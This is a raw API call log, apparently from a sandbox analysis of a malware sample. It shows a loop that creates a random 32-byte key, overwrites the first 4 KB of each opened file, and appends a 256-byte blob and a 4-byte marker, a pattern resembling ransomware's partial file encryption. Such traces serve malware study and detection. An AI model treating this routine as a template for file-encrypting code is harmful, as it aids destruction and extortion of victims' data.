[0079.241] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0079.241] GetProcessHeap () returned 0x540000 [0079.241] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0079.241] ReadFile (in: hFile=0x7c4, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0079.289] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.289] WriteFile (in: hFile=0x7c4, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0079.290] GetProcessHeap () returned 0x540000 [0079.290] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0079.290] GetProcessHeap () returned 0x540000 [0079.290] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0079.290] GetProcessHeap () returned 0x540000 [0079.290] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0079.290] GetProcessHeap () returned 0x540000 [0079.290] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0079.290] GetProcessHeap () returned 0x540000 [0079.290] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0079.290] GetProcessHeap () returned 0x540000 [0079.290] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0079.290] GetProcessHeap () returned 0x540000 [0079.290] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.290] GetProcessHeap () returned 0x540000 [0079.290] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.290] GetProcessHeap () returned 0x540000 [0079.290] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.290] GetProcessHeap () returned 0x540000 [0079.290] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.290] GetProcessHeap () returned 0x540000 [0079.290] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.290] GetProcessHeap () returned 0x540000 [0079.290] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.290] GetProcessHeap () returned 0x540000 [0079.290] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.290] GetProcessHeap () returned 0x540000 [0079.290] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.290] GetProcessHeap () returned 0x540000 [0079.290] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.290] GetProcessHeap () returned 0x540000 [0079.290] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.291] GetProcessHeap () returned 0x540000 [0079.291] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.291] GetProcessHeap () returned 0x540000 [0079.291] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.291] GetProcessHeap () returned 0x540000 [0079.291] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.291] GetProcessHeap () returned 0x540000 [0079.291] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.291] GetProcessHeap () returned 0x540000 [0079.291] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.291] GetProcessHeap () returned 0x540000 [0079.291] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.291] GetProcessHeap () returned 0x540000 [0079.291] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.291] GetProcessHeap () returned 0x540000 [0079.291] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.291] GetProcessHeap () returned 0x540000 [0079.291] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.291] GetProcessHeap () returned 0x540000 [0079.291] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.291] GetProcessHeap () returned 0x540000 [0079.291] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.291] GetProcessHeap () returned 0x540000 [0079.291] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.291] GetProcessHeap () returned 0x540000 [0079.291] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.291] GetProcessHeap () returned 0x540000 [0079.291] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.291] GetProcessHeap () returned 0x540000 [0079.291] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.291] GetProcessHeap () returned 0x540000 [0079.291] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.291] GetProcessHeap () returned 0x540000 [0079.291] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.291] GetProcessHeap () returned 0x540000 [0079.291] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.291] GetProcessHeap () returned 0x540000 [0079.291] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.291] GetProcessHeap () returned 0x540000 [0079.292] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.292] GetProcessHeap () returned 0x540000 [0079.292] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.292] GetProcessHeap () returned 0x540000 [0079.292] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.292] GetProcessHeap () returned 0x540000 [0079.292] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0079.292] GetProcessHeap () returned 0x540000 [0079.292] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.292] GetProcessHeap () returned 0x540000 [0079.292] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0079.292] GetProcessHeap () returned 0x540000 [0079.292] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0079.292] GetProcessHeap () returned 0x540000 [0079.292] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0079.292] GetProcessHeap () returned 0x540000 [0079.292] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0079.292] GetProcessHeap () returned 0x540000 [0079.292] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0079.292] GetProcessHeap () returned 0x540000 [0079.292] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0079.292] GetProcessHeap () returned 0x540000 [0079.292] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.292] GetProcessHeap () returned 0x540000 [0079.292] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0079.292] GetProcessHeap () returned 0x540000 [0079.292] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.292] GetProcessHeap () returned 0x540000 [0079.292] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.292] GetProcessHeap () returned 0x540000 [0079.292] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.292] GetProcessHeap () returned 0x540000 [0079.292] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.293] GetProcessHeap () returned 0x540000 [0079.293] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.293] GetProcessHeap () returned 0x540000 [0079.293] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.293] GetProcessHeap () returned 0x540000 [0079.293] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.293] GetProcessHeap () returned 0x540000 [0079.293] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.293] GetProcessHeap () returned 0x540000 [0079.293] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.293] GetProcessHeap () returned 0x540000 [0079.293] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.293] GetProcessHeap () returned 0x540000 [0079.293] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.293] GetProcessHeap () returned 0x540000 [0079.293] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.293] GetProcessHeap () returned 0x540000 [0079.293] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.293] GetProcessHeap () returned 0x540000 [0079.293] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.293] GetProcessHeap () returned 0x540000 [0079.293] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.293] GetProcessHeap () returned 0x540000 [0079.293] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.293] GetProcessHeap () returned 0x540000 [0079.293] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.293] GetProcessHeap () returned 0x540000 [0079.293] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.293] GetProcessHeap () returned 0x540000 [0079.294] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.294] GetProcessHeap () returned 0x540000 [0079.294] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.294] GetProcessHeap () returned 0x540000 [0079.294] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.294] GetProcessHeap () returned 0x540000 [0079.294] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.294] GetProcessHeap () returned 0x540000 [0079.294] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.294] GetProcessHeap () returned 0x540000 [0079.294] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.294] GetProcessHeap () returned 0x540000 [0079.294] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0079.294] GetProcessHeap () returned 0x540000 [0079.294] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.294] GetProcessHeap () returned 0x540000 [0079.294] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0079.294] GetProcessHeap () returned 0x540000 [0079.294] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0079.294] GetProcessHeap () returned 0x540000 [0079.294] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.294] GetProcessHeap () returned 0x540000 [0079.294] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0079.294] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.294] WriteFile (in: hFile=0x7c4, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0079.295] WriteFile (in: hFile=0x7c4, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0079.295] GetProcessHeap () returned 0x540000 [0079.295] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0079.295] GetProcessHeap () returned 0x540000 [0079.295] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0079.295] GetProcessHeap () returned 0x540000 [0079.295] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0079.295] CloseHandle (hObject=0x7c4) returned 1 [0079.298] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 13 [0079.298] SetFilePointerEx (in: hFile=0x784, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.298] ReadFile (in: hFile=0x784, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0079.299] SetFilePointerEx (in: hFile=0x784, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.299] GetProcessHeap () returned 0x540000 [0079.299] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0079.299] GetProcessHeap () returned 0x540000 [0079.299] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0079.299] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0079.299] GetProcessHeap () returned 0x540000 [0079.299] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0079.299] ReadFile (in: hFile=0x784, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0079.450] SetFilePointerEx (in: hFile=0x784, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.450] WriteFile (in: hFile=0x784, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0079.450] GetProcessHeap () returned 0x540000 [0079.450] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0079.450] GetProcessHeap () returned 0x540000 [0079.450] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0079.450] GetProcessHeap () returned 0x540000 [0079.450] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0079.450] GetProcessHeap () returned 0x540000 [0079.450] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0079.450] GetProcessHeap () returned 0x540000 [0079.450] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0079.450] GetProcessHeap () returned 0x540000 [0079.450] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0079.450] GetProcessHeap () returned 0x540000 [0079.451] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.451] GetProcessHeap () returned 0x540000 [0079.451] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.451] GetProcessHeap () returned 0x540000 [0079.451] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.451] GetProcessHeap () returned 0x540000 [0079.451] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.451] GetProcessHeap () returned 0x540000 [0079.451] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.451] GetProcessHeap () returned 0x540000 [0079.451] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.451] GetProcessHeap () returned 0x540000 [0079.451] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.451] GetProcessHeap () returned 0x540000 [0079.451] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.451] GetProcessHeap () returned 0x540000 [0079.451] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.451] GetProcessHeap () returned 0x540000 [0079.451] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.451] GetProcessHeap () returned 0x540000 [0079.451] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.451] GetProcessHeap () returned 0x540000 [0079.451] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.451] GetProcessHeap () returned 0x540000 [0079.451] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.451] GetProcessHeap () returned 0x540000 [0079.451] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.451] GetProcessHeap () returned 0x540000 [0079.451] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.451] GetProcessHeap () returned 0x540000 [0079.451] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.451] GetProcessHeap () returned 0x540000 [0079.451] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.451] GetProcessHeap () returned 0x540000 [0079.451] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.451] GetProcessHeap () returned 0x540000 [0079.451] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.451] GetProcessHeap () returned 0x540000 [0079.451] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.452] GetProcessHeap () returned 0x540000 [0079.452] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.452] GetProcessHeap () returned 0x540000 [0079.452] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.452] GetProcessHeap () returned 0x540000 [0079.452] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.452] GetProcessHeap () returned 0x540000 [0079.452] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.452] GetProcessHeap () returned 0x540000 [0079.452] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.452] GetProcessHeap () returned 0x540000 [0079.452] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.452] GetProcessHeap () returned 0x540000 [0079.452] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.452] GetProcessHeap () returned 0x540000 [0079.452] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.452] GetProcessHeap () returned 0x540000 [0079.452] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.452] GetProcessHeap () returned 0x540000 [0079.452] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.452] GetProcessHeap () returned 0x540000 [0079.452] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.452] GetProcessHeap () returned 0x540000 [0079.452] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.452] GetProcessHeap () returned 0x540000 [0079.452] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0079.452] GetProcessHeap () returned 0x540000 [0079.452] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.452] GetProcessHeap () returned 0x540000 [0079.452] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0079.452] GetProcessHeap () returned 0x540000 [0079.452] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0079.452] GetProcessHeap () returned 0x540000 [0079.452] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0079.452] GetProcessHeap () returned 0x540000 [0079.452] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0079.452] GetProcessHeap () returned 0x540000 [0079.452] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0079.452] GetProcessHeap () returned 0x540000 [0079.453] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0079.453] GetProcessHeap () returned 0x540000 [0079.453] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.453] GetProcessHeap () returned 0x540000 [0079.453] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0079.453] GetProcessHeap () returned 0x540000 [0079.453] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.453] GetProcessHeap () returned 0x540000 [0079.453] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.453] GetProcessHeap () returned 0x540000 [0079.453] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.453] GetProcessHeap () returned 0x540000 [0079.453] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.453] GetProcessHeap () returned 0x540000 [0079.453] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.453] GetProcessHeap () returned 0x540000 [0079.453] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.453] GetProcessHeap () returned 0x540000 [0079.453] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.453] GetProcessHeap () returned 0x540000 [0079.453] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.453] GetProcessHeap () returned 0x540000 [0079.453] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.453] GetProcessHeap () returned 0x540000 [0079.453] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.453] GetProcessHeap () returned 0x540000 [0079.453] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.453] GetProcessHeap () returned 0x540000 [0079.453] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.454] GetProcessHeap () returned 0x540000 [0079.454] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.454] GetProcessHeap () returned 0x540000 [0079.454] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.454] GetProcessHeap () returned 0x540000 [0079.454] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.454] GetProcessHeap () returned 0x540000 [0079.454] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.454] GetProcessHeap () returned 0x540000 [0079.454] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.454] GetProcessHeap () returned 0x540000 [0079.454] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.454] GetProcessHeap () returned 0x540000 [0079.454] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.454] GetProcessHeap () returned 0x540000 [0079.454] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.454] GetProcessHeap () returned 0x540000 [0079.454] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.454] GetProcessHeap () returned 0x540000 [0079.454] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.454] GetProcessHeap () returned 0x540000 [0079.454] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.454] GetProcessHeap () returned 0x540000 [0079.454] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.454] GetProcessHeap () returned 0x540000 [0079.454] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0079.454] GetProcessHeap () returned 0x540000 [0079.454] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.454] GetProcessHeap () returned 0x540000 [0079.455] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0079.455] GetProcessHeap () returned 0x540000 [0079.455] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0079.455] GetProcessHeap () returned 0x540000 [0079.455] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: 